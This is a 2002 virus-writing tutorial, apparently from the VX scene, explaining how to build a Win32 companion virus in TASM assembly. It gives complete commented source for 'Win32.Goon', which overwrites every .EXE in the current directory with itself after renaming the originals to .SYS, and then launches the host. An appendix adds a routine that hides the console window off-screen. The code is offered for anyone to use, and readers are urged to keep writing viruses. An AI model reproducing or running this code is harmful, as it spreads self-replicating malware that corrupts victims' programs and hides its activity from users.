____________________________________________________________________________________________ ...:: How to write a simple Companion-Virus in Win32 ::... by DiA /auXnet (c)02 [GermanY] ____________________________________________________________________________________________ Hi folkz, Today I read a article from 29A#6 by Benny. The title was "Situation in VX scene". I think about it, and then I resolute to write this little tutorial! Becauze after this article I wanna give all Knowledge that I have to the actually VX scene. This tutorial is not special for a guy that know more than I write here, BUT for any Beginnerz and Newbiez (like me) is it helpfully! Yeah, I think so! When my Knowledge level is higher (My next step is a PE Appender =) I write it down and give all Knowledge from me to you. So, have fun with this tutorial, I hope it help's you and don't leave the scene -> YOU MUST GO ON! +++++Disclaimer+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +I am NOT responsible for any damage that you do! You can need the code however you want...+ +My motherlanguage is not English, I hope you understand what I mean. + +Feel FREE to write any Comments to + + DiA_hates_machine@gmx.de + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ..................................................... . . . Index: _1_ : What the hell is a Companion Virus . . . . _2_ : How does it work . . . . _3_ : Example Code with description . . . . _4_ : The End . . . . _666_ : Append [Fuck da Window] . . . ..................................................... *** _1_ : What the hell is a Companion Virus *** A Companion Virus doesn't change the code of the Host. It does not Append, Prepend or anything else. It only rename the Host and copy itself to the host's first name. When you run the Prog then the Virus does first it workz and when all done, then the Virus run's the Host. You can recover the Host when you rename from name number two to the original name. Here comez a little graphics that show it all: Step1: /-------------\ /-----------\ | | | | | Program.EXE | ;original name | Virus.EXE | ;we must know the virus file | | ;of founded file | | ;API: GetCommandLineA \-------------/ \-----------/ Step2: /-------------\ /-----------\ | | | | | Program.EXE | | Virus.EXE | | | | | \-------------/ \-----------/ | | copy to | | /-------------\ | | | Program.SYS | | | \-------------/ Step3: /-------------\ /-----------\ | | | | | Program.EXE |<--------copy to-----------| Virus.EXE | | | | | \-------------/ \-----------/ To desinfect: del Program.EXE rename Program.SYS Program.EXE and all is allright... *** _2_ : How does it work *** 1. Get Virus File Name 2. Create the original Host File Name 3. Find First File in current Directory 4. Copy the founded File to another Name 5. Copy Virus File to original Name of founded File 6. Find Next File ->jmp 4. -->no more filez jmp 7. 7. Run Host (via 2.) 8. Exit Virus *** _3_ : Example Code with description *** Enough with da fucking Theory! Let's see it working... To compile it: TASM32 /z /ml /m3 Goon,,; TLINK32 -Tpe -c Goon,Goon,, import,lib ;-----cut----------------------------------------Goon.asm----------------------------------- .386 ;for 386erz+ .model flat ;no more segmentZ jumps ;TASM rulez ;+++++ ; I think you know this shit ;) ;+++++ extrn GetCommandLineA :PROC ;to get virus file and host file extrn lstrcpyA :PROC ;to copy strings extrn FindFirstFileA :PROC ;to find first matching file in current directory extrn FindNextFileA :PROC ;to find next file via FindHandle extrn CopyFileA :PROC ;to copy filez (see up _2_) extrn CreateProcessA :PROC ;to run da host extrn ExitProcess :PROC ;to exit the virus ;+++++ ; Here we define da needed API's ; I think you know it ;+++++ .data Goon db 'Win32.Goon - Virus',0 db 'Only a Example Code',0 db 'by DiA/auXnet',0 FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260d dup (?) WFD_szAlternateFileName db 13 dup (?) WFD_szAlternateEnding db 03 dup (?) ;+++++ ; This is the Win32 Find data: ; here saves all data's about founded file ; we are only interesting in "WFD_szFileName" wich contains the ; filename of the founded file ->renember that we must copy the file to ; another name and the virus to the original name! ;+++++ VirusFile db 260d dup (0) HostFile db 260d dup (0) HostCopy db 260d dup (0) ;+++++ ; Here we make place for the names: Virus File Name, Host File Name, ; and the File we must generate (from founded file) ;+++++ FileMask db '*.EXE',0 FindHandle dd 0 ProcessInfo dd 4 dup (0) StartupInfo dd 4 dup (0) ;+++++ ; FileMask contains wich filez we must search, ; FileHandle contains the handle for Search (FindNextFileA) ; ProcessInfo and StartupInfo are only for run the Host (unimportant) ;+++++ .code start: ;+++++ ; ROCK 'N ROLL =) ;+++++ call GetCommandLineA ;+++++ ; here we get the CommandLine wich contains the name of the now running prog ; (Virus File :). The line is now in eax, see next step... ;+++++ inc eax ; fuck da " push eax push offset VirusFile call lstrcpyA ;copy it ;+++++ ; why the hell 'inc eax'??? ; becauze the CommandLine looks like these: "C:\LUCI\HELL.EXE" (with ") ; we can't run, copy the prog with these fucking ", so we go one place forward ; it copy's from eax to VirusFile ;+++++ mov esi,offset VirusFile ;now in esi call GetPoint ;call a kewl procedure ;) ;+++++ ; we must find da point to fuck the other " ; let's see... ;+++++ mov dword ptr [esi+4],00000000d ;clear it ;+++++ ; we go after .EXE and clear the " ; ->now we have the full funcional VirusFile, yeah! ;+++++ push offset VirusFile push offset HostFile call lstrcpyA ;+++++ ; copy the Name to HostFile, that we can change it and get the real Host name (.SYS) ; ... ;+++++ mov esi,offset HostFile call GetPoint ;+++++ ; get the point... ;+++++ mov dword ptr [esi],5359532Eh ;5359532Eh = 'SYS.' ;+++++ ; rename it to .SYS (last 4 letters with point) ; now we have the HostFile, yeah, we can run da host... ; ...but wait! WE MUST INFECT FILEZ!!! ;+++++ push offset WIN32_FIND_DATA push offset FileMask call FindFirstFileA mov dword ptr [FindHandle],eax ;save handle ;+++++ ; see up when you don't know what WIN32_FIND_DATA and FileMask is... ; after the call is in eax the Find Handle, we save it for use FindNextFileA... ;+++++ FindNext: test eax,eax ;more filez? jz RunHost ;if not jmp to RunHost ;+++++ ; when eax is null, then there are no more filez to infect in da current directory ; Run the Host when all filez infect ;+++++ push offset WFD_szFileName push offset HostCopy call lstrcpyA ;+++++ ; copy the name WFD_szFileName to HostCopy to rename and copy it ;+++++ mov esi,offset HostCopy call GetPoint ;+++++ ; get the point to rename the name to .SYS ; later use to copy original file to host file ;+++++ mov dword ptr [esi],5359532Eh ; SYS. ;+++++ ; rename it to .SYS (last 4 letters) ; now we have all to infect the founded file: ; Virus File Name ; Original File Name ; Renamed File Name of founded file ; rock 'n roll =) ;+++++ push 1 ;do not copy if file exist push offset HostCopy push offset WFD_szFileName call CopyFileA ;+++++ ; now we copy .EXE file to .SYS file the host is now in .SYS ; if file already exist don't copy it we must not copy it two times ;+++++ push 0 ;copy always push offset WFD_szFileName push offset VirusFile call CopyFileA ;+++++ ; we copy the Virus to the founded .EXE file ; copy it always ,becauze we can't have two host's and no virus ;+++++ push offset WIN32_FIND_DATA push dword ptr [FindHandle] call FindNextFileA jmp FindNext ;+++++ ; do you renember that we saved the FindHandle... ; we search more filez with this shit! ; jmp to FindNext and check more filez ;+++++ RunHost: xor eax,eax ;null push offset ProcessInfo ;uninterestend push offset StartupInfo ;... push eax push eax push 00000010h ;create process push eax push eax push eax push offset HostFile push offset HostFile ;run this call CreateProcessA ;+++++ ; renember that we rename virusfile to hostfile (.SYS), now we run the host ; via this name ;+++++ push 0 call ExitProcess ;+++++ ; all is done, and we give full control to the host ;+++++ GetPoint: cmp byte ptr [esi],'.' ;point? jz FoundPoint ;je return inc esi ;scan next place jmp GetPoint FoundPoint: ret ;return ;+++++ ; at last the GetPoint procedure... ; scan for '.' and if found return to place where are called ;+++++ end start ;+++++ ; GOOD NIGHT ;+++++ ;-----cut----------------------------------------------------------------------------------- *** _4_ : The End *** Mhhh, that's all. Now you can Write a fucking Win32 Companion Virus. Go on with coding, learn more and more... Read Benny's article, and you wanna go on ;) We must all help the VX scene in these day's to flame!!! Greets to Benny/29A - great article, you inspire me to write this tut... THANX FOR READING... *** _666_ : Append [Fuck da Window] *** Here a simple way to hide the Window from the Virus (you know... console) ;-----cut-----FuckW.asm--------------------------------------------------------------------- .386 .model flat jumps ;+++++ ; bla bla bla ;+++++ extrn SetConsoleTitleA :PROC extrn FindWindowA :PROC extrn SetWindowPos :PROC extrn Sleep :PROC ;+++++ ; needed API's from the FuckWindow procedure ;+++++ extrn MessageBoxA :PROC extrn ExitProcess :PROC ;+++++ ; here all other API's ; only to show taht it work and exit ;+++++ .data oTitle db 'Only to Show...',0 oMsg db 'See you a Window in the Back?',10,13 db 'No, thats good, hee?',10,13 db ' DiA /auXnet',0 ;+++++ ; only to pose ;) ;+++++ NewConsoleTitle db '[ANVX]',0 WindowHandle dd 0 ;+++++ ; here are the new console title (whatever you want eg ...) ; and the WindowHandle where the handle saves ;+++++ .code start: ;+++++ ; ya know... ;+++++ call FuckWindow ;+++++ ; we call the procedure, make it first to hide the window fast ;+++++ push 0 push offset oTitle push offset oMsg push 0 call MessageBoxA push 0 call ExitProcess ;+++++ ; here you can write down your code, whatever you want... ;+++++ FuckWindow: ;procedure push offset NewConsoleTitle call SetConsoleTitleA ;+++++ ; here comez the procedure who hide the window ; first we set a new console title, that we know what fucking window we must hide ;+++++ call Sleep5 ;procedure ;+++++ ; it workz better with a little bit sleep (5 mil sek) ;+++++ push offset NewConsoleTitle push 0 call FindWindowA mov dword ptr [WindowHandle],eax ;handle ;+++++ ; see up! we define a new console title... ; now we search the window (NewConsoleTitle) and save da WindowHandle ;+++++ call Sleep5 ;+++++ ; sleeping is good... ;+++++ push 0 push 1 ;high of window push 1 ;widht of window push 20000 ;Y push 20000 ;X push 0 push dword ptr [WindowHandle] call SetWindowPos ret ;+++++ ; we hide da window via SetWindowPos ; high and width of window is 1 (can't see :) ; and the X and Y 20000 coor. Out of screen =) ; return... ;+++++ Sleep5: push 5 call Sleep ret ;+++++ ; easy, sleep 5mil sek ; return... ;+++++ end start ;-----cut----------------------------------------------------------------------------------- ...or compile it with: TASM32 /z /ml /m3 YourProc,,; TLINK32 -Tpe -c -aa YourProc,YourProc,, import32.lib Effect-> Now the proc is not a "Console", it run's under "Windows"... FUCK OFF, look at TASM instructionz! Have Fun... Code On... _________________ DiA /auXnet (c)02 _________________